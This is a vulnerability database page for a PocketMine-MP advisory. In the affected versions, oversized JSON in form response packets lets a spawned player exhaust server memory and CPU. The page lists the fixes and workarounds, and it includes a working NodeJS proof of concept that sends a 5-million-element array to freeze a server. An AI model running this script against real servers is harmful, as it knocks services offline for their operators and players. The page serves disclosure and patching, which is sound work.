Vulnerability DatabaseGHSA-788v-5pfp-93ff

GHSA-788v-5pfp-93ff
PHP vulnerability analysis and mitigation

Impact

The server does not meaningfully limit the size of the JSON payload in ModalFormResponsePacket. This can be abused by an attacker to waste memory and CPU on an affected server, e.g. by sending arrays with millions of elements. The player must have a full session on the server (i.e. spawned in the world) to exploit this, as form responses are not handled unless the player is in game.

Patches

The issue was fixed in two parts:

  • cef1088341e40ee7a6fa079bca47a84f3524d877 limits the size of a single form response to 10 KB, which is well above expected size, but low enough to prevent abuse
  • f983f4f66d5e72d7a07109c8175799ab0ee771d5 avoids decoding the form response if there is no form associated with the given ID

Workarounds

This issue can be worked around in a plugin using DataPacketReceiveEvent by:

  • checking the max size of the formData field
  • making sure the form ID is not repeatedHowever, a full workaround for the issue would require reflection to access the Player->forms property, which is not exposed via any accessible API prior to 5.39.2.

PoC

  1. Join a PocketMine-MP server as a regular player (no special permissions needed).
  2. Use a modified client or packet-sending script to send a ModalFormResponsePacket with:
    • Any non-existent formId
    • formData containing a massive JSON array (e.g., 10+ MB payload).
  3. The server will attempt to parse the JSON and may freeze or become unresponsive.Example NodeJS pseudocode:
import { createClient } from 'bedrock-protocol';
const host = '127.0.0.1';
const port = 19132;
const username = 'Test';
const client = createClient({
  host,
  port,
  username,
  offline: true
});
const hugePayload = '[' + '0,'.repeat(5_000_000) + '0]';
client.on('spawn', () => {
  console.log('[*] Connected & spawned. Sending malicious packet...');
  client.write('modal_form_response', {
    formId: 9999,       // Form inexistant
    formData: hugePayload // JSON énorme
  });
  console.log('[*] Packet sent. The server should start freezing shortly.');
});

SourceNVD

Related PHP vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-h6rj-3m53-887hHIGH7.5
  • PHPPHP
  • pocketmine/pocketmine-mp
NoYesApr 06, 2026
GHSA-788v-5pfp-93ffHIGH7.1
  • PHPPHP
  • pocketmine/pocketmine-mp
NoYesApr 06, 2026
CVE-2026-35452MEDIUM5.3
  • PHPPHP
  • wwbn/avideo
NoNoApr 06, 2026
GHSA-7hmv-4j2j-pp6fMEDIUM4.3
  • PHPPHP
  • pocketmine/pocketmine-mp
NoYesApr 06, 2026
GHSA-f9jp-856v-8642LOW3.7
  • PHPPHP
  • pocketmine/pocketmine-mp
NoYesApr 06, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management